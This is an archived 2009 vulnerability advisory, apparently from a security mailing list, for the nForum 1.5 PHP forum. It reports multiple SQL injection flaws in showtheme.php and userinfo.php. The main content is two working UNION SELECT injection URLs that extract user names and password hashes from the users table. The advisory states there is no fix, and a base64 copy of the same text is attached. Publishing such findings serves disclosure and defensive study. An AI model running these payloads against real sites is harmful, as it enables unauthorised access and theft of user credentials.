AOH :: HP Unsorted N :: VA2797.HTM

nForum 1.5 Multiple SQL Injection



nForum 1.5 Multiple SQL Injection
nForum 1.5 Multiple SQL Injection



--001636c5984c46144f04647953fd
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit

*******   Salvatore "drosophila" Fresta   *******

[+] Application: nForum
[+] Version: 1.5
[+] Website: http://sourceforge.net/projects/nforum/ 

[+] Bugs: [A] Multiple SQL Injection

[+] Exploitation: Remote
[+] Date: 06 Mar 2009

[+] Discovered by: Salvatore "drosophila" Fresta
[+] Author: Salvatore "drosophila" Fresta
[+] Contact: e-mail: drosophilaxxx@gmail.com 


*************************************************

[+] Menu

1) Bugs
2) Code
3) Fix


*************************************************

[+] Bugs


- [A] Multiple SQL Injection

[-] Requisites: magic_quotes_gpc = off
[-] File affected: showtheme.php, userinfo.php

These bugs allows a guest to view username and
the password of a registered user.


*************************************************

[+] Code


- [A] Multiple SQL Injection

http://www.site.com/path/showtheme.php?id=-1' UNION ALL SELECT 
1,2,CONCAT(name, 0x3a, passwd_hash),NULL,5,6,7 FROM users%23

http://www.site.com/path/userinfo.php?user=-1' UNION ALL SELECT 
1,2,3,4,5,6,7,8,CONCAT(name, 0x3a, passwd_hash),10,11,12 FROM users%23


*************************************************

[+] Fix

No fix.


*************************************************

-- 
Salvatore "drosophila" Fresta
CWNP444351

--001636c5984c46144f04647953fd
Content-Type: text/plain; charset=US-ASCII; 
	name="nForum 1.5 Multiple SQL Injection-06032009.txt"
Content-Disposition: attachment; 
	filename="nForum 1.5 Multiple SQL Injection-06032009.txt"
Content-Transfer-Encoding: base64
X-Attachment-Id: f_frzc1fjn0

KioqKioqKiAgIFNhbHZhdG9yZSAiZHJvc29waGlsYSIgRnJlc3RhICAgKioqKioqKgoKWytdIEFw
cGxpY2F0aW9uOiBuRm9ydW0KWytdIFZlcnNpb246IDEuNQpbK10gV2Vic2l0ZTogaHR0cDovL3Nv
dXJjZWZvcmdlLm5ldC9wcm9qZWN0cy9uZm9ydW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c2VyaW5m
by5waHA/dXNlcj0tMScgVU5JT04gQUxMIFNFTEVDVCAxLDIsMyw0LDUsNiw3LDgsQ09OQ0FUKG5h
bWUsIDB4M2EsIHBhc3N3ZF9oYXNoKSwxMCwxMSwxMiBGUk9NIHVzZXJzJTIzCgoKKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKgoKWytdIEZpeAoKTm8gZml4
LgoKCioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKio--001636c5984c46144f04647953fd--

The entire AOH site is optimized to look best in Firefox® 3 on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH
We do not send spam. If you have received spam bearing an artofhacking.com email address, please forward it with full headers to abuse@artofhacking.com.